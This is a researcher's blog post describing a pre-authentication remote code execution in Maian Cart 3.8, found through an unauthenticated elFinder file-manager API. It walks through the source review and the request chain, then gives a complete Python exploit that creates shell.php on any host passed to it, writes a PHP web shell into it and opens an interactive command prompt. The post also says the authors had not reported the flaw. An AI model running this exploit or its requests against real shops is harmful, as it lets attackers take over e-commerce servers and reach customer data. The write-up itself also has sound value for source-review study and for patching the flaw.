Intro:

This issue was found back in around november 2020 by me and my friend who would rather not come out publicly with his name, so let’s call him purpl3 (his wish :D).

This was one of my first 0day’s so we choose to audit some of the ecommerce platforms since they’re usually fun to play around.

In the end we found a preauth RCE in Maian Cart 3.8 (latest) but we procrastinated to report it ever since because we already started working on new projects, so 2021 here we come 🙂

I hope this post can also help out some people out there that are trying to get into source code review (although this one was pretty easy).

Finding the issue:

To start with, if you are interested, you can setup the source code locally by following this guide and make it more of a challenge to play around & learn.

You can also setup a vhost for localhost and make it look like a real deployed website in the wild by editing /etc/hosts:

Image

Usually when starting out a fresh target i starting grepping out interesting pieces of code or approaching it the blackbox way until i come by some interesting endpoints from where the whitebox testing starts.

Also, it’s worth looking into post-admin-auth side vulnerabilities as they could be a part of a exploit chain later on.

We found many XSS’s on the post-admin-auth side but it wasn’t really worth anything.. until purpl3 noticed a file manager plugin at /admin/index.php?p=dl-manager#elf_l1_Lw:

Image

It allowed an administrator to upload files, including a shell. So that was a simple post-admin-auth RCE, but still that means pretty much nothing as it’s intended to allow all admin’s to upload/manage file’s unless it’s chained with something 😉

Let’s take a look at the plugin’s source .

We started grepping the files to find where it’s being used or to just gather some additional info on how the plugin works. For this you can use grep -r -E "elfinder" *:

Image

Quickly enough i was able to find a few interesting files, admin/control/classes/_elfinder/elFinder.class.php being one of them as it contained a lot of useful information.

It looked like the Elfinder plugin also provides a API-like thing which allows the following calls to it:

protected $commands = array( 'open' => array('target' => false, 'tree' => false, 'init' => false, 'mimes' => false, 'compare' => false), 'ls' => array('target' => true, 'mimes' => false, 'intersect' => false), 'tree' => array('target' => true), 'parents' => array('target' => true), 'tmb' => array('targets' => true), 'file' => array('target' => true, 'download' => false), 'zipdl' => array('targets' => true, 'download' => false), 'size' => array('targets' => true), 'mkdir' => array('target' => true, 'name' => true), 'mkfile' => array('target' => true, 'name' => true, 'mimes' => false), 'rm' => array('targets' => true), 'rename' => array('target' => true, 'name' => true, 'mimes' => false), 'duplicate' => array('targets' => true, 'suffix' => false), 'paste' => array('dst' => true, 'targets' => true, 'cut' => false, 'mimes' => false, 'renames' => false, 'hashes' => false, 'suffix' => false), 'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false,'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false), 'get' => array('target' => true, 'conv' => false), 'put' => array('target' => true, 'content' => '', 'mimes' => false), 'archive' => array('targets' => true, 'type' => true, 'mimes' => false, 'name' => false), 'extract' => array('target' => true, 'mimes' => false, 'makedir' => false), 'search' => array('q' => true, 'mimes' => false, 'target' => false), 'info' => array('targets' => true, 'compare' => false), 'dim' => array('target' => true), 'resize' => array('target' => true, 'width' => true, 'height' => true, 'mode' => false, 'x' => false, 'y' => false, 'degree' => false, 'quality' => false), 'netmount' => array('protocol' => true, 'host' => true, 'path' => false, 'port' => false, 'user' => false, 'pass' => false, 'alias' => false, 'options' => false), 'url' => array('target' => true, 'options' => false), 'callback' => array('node' => true, 'json' => false, 'bind' => false, 'done' => false), 'chmod' => array('targets' => true, 'mode' => true) );

While trying to upload an actual file through the web UI and intercepting the request i found the exact parameter where i can pass all these:

Image

So i decided to do a quick request with curl and use the ls value on the cmd parameter to get a list of files (note – this all is still on the post-admin-auth side):

Image

Notice something wrong here 😎

Okay, cool, we can do CRUD operations using the Elfinder API , but what’s the point of it when it’s all from the admin side?

Let’s jump on the Exploitation section of this blog.

Exploitation

So as you have read the title of this blog post, it clearly says preauth. How? If you haven’t noticed from the last image how the bug was chained to a preauth RCE, i’ll explain.

This part required being a little lucky (i suppose xD) ! I tried curling the admin side endpoint without any session initiated and it still returned the output – fun right?

So, this started sounding like a Broken Access Control issue.

The API was clearly misconfigured and didn’t have any permission check, so any unauthorized attacker could make a request to it
Since i can’t trigger the shell in one API call, i gathered all the needed param values to upload & execute a shell:

  • Make a file: /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name=shell.php&target=l1_Lw
  • Write to the file: POST request with the cmd=put param to /admin/index.php?p=ajax-ops&op=elfinder
  • Execute the file/shell: /product-downloads/shell.php

So here we chained a BAC issue on a misconfigured API with a post-admin-auth RCE.

I automated the whole exploit chain with a quick python script that you can find on my github.

Let’s explain the exploit

So first it makes a file:

Image

Then it gets the file id which is contained in the json response body:

Image

Writes a url-encoded php web shell to the file with a POST request with cmd=put and the file id & content as params:

Image

Then, finally execute the shell:

Image

I also added a little fun addition to it which removes the shell as soon as we close the exploit:

Image

Below, you can find the exploit PoC written in python:

#!/usr/bin/python3

#Maian-Cart 3.8 unauthorized RCE trough Elfinder plugin.
#Exploit found date: 27.11.2020 19:35
#Tested on: Ubuntu 20.04 LTS
#Authors: DreyAnd, purpl3

import argparse
import requests
from bs4 import BeautifulSoup
import sys
import json
import time

parser = argparse.ArgumentParser()
parser.add_argument("host", help="Host to exploit (with http/https prefix)")
parser.add_argument("dir", help="default=/ , starting directory of the maian-cart instance, sometimes is placed at /cart or /maiancart")
args = parser.parse_args()

#args

host = sys.argv[1]
directory = sys.argv[2]

#CREATE THE FILE

print("\033[95mCreating the file to write payload to...\n\033[00m", flush=True)
time.sleep(1)

try:
    r = requests.get(f"{host}{directory}/admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name=shell.php&target=l1_Lw")
    print(r.text)
    if "added" in r.text:
        print("\033[95mFile successfully created.\n\033[00m")
    else:
        print("\033[91mSome error occured.\033[00m")

except (requests.exceptions.RequestException):
    print("\033[91mThere was a connection issue. Check if you're connected to wifi or if the host is correct\033[00m")

#GET THE FILE ID

time.sleep(1)

file_response = r.text
soup = BeautifulSoup(file_response,'html.parser')
site_json=json.loads(soup.text)
hash_id = [h.get('hash') for h in site_json['added']]
file_id =  str(hash_id).replace("['", "").replace("']", "")


print("\033[95mGot the file id: ", "\033[91m", file_id , "\033[00m")
print("\n")

#WRITE TO THE FILE

print("\033[95mWritting the payload to the file...\033[00m")
print("\n")
time.sleep(1)

headers = {
    "Accept": "application/json, text/javascript, /; q=0.01",
    "Accept-Language" : "en-US,en;q=0.5",
    "Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8",
    "X-Requested-With" : "XMLHttpRequest",
    "Connection" : "keep-alive",
    "Pragma" : "no-cache",
    "Cache-Control" : "no-cache",
}

data = f"cmd=put&target={file_id}&content=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%20%3F%3E"

try:
    write = requests.post(f"{host}{directory}/admin/index.php?p=ajax-ops&op=elfinder", headers=headers, data=data)
    print(write.text)
except (requests.exceptions.RequestException):
    print("\033[91mThere was a connection issue. Check if you're connected to wifi or if the host is correct\033[00m")


#EXECUTE THE PAYLOAD

print("\033[95mExecuting the payload...\033[00m")
print("\n")
time.sleep(1)

exec_host = f"{host}{directory}/product-downloads/shell.php"

print(f"\033[92mGetting a shell. To stop it, press CTRL + C. Browser url: {host}{directory}/product-downloads/shell.php?cmd=\033[00m")
time.sleep(2)

while True:
    def main():
        execute = str(input("$ "))
        e = requests.get(f"{exec_host}?cmd={execute}")
        print(e.text)

    try:
        if __name__ == "__main__":
            main()
    except:
        exit = str(input("Do you really wish to exit? Y/N? "))

        if exit == "Y" or exit =="y":
            print("\033[91mExit detected. Removing the shell...\033[00m")
            remove = requests.get(f"{host}{directory}/admin/index.php?p=ajax-ops&op=elfinder&cmd=rm&targets%5B%5D={file_id}")
            print("\033[91m" , remove.text, "\033[00m")
            print("\033[91mBye!\033[00m")
            sys.exit(1)
        else:
            main()

Below is a video demo of the exploit PoC:

EOF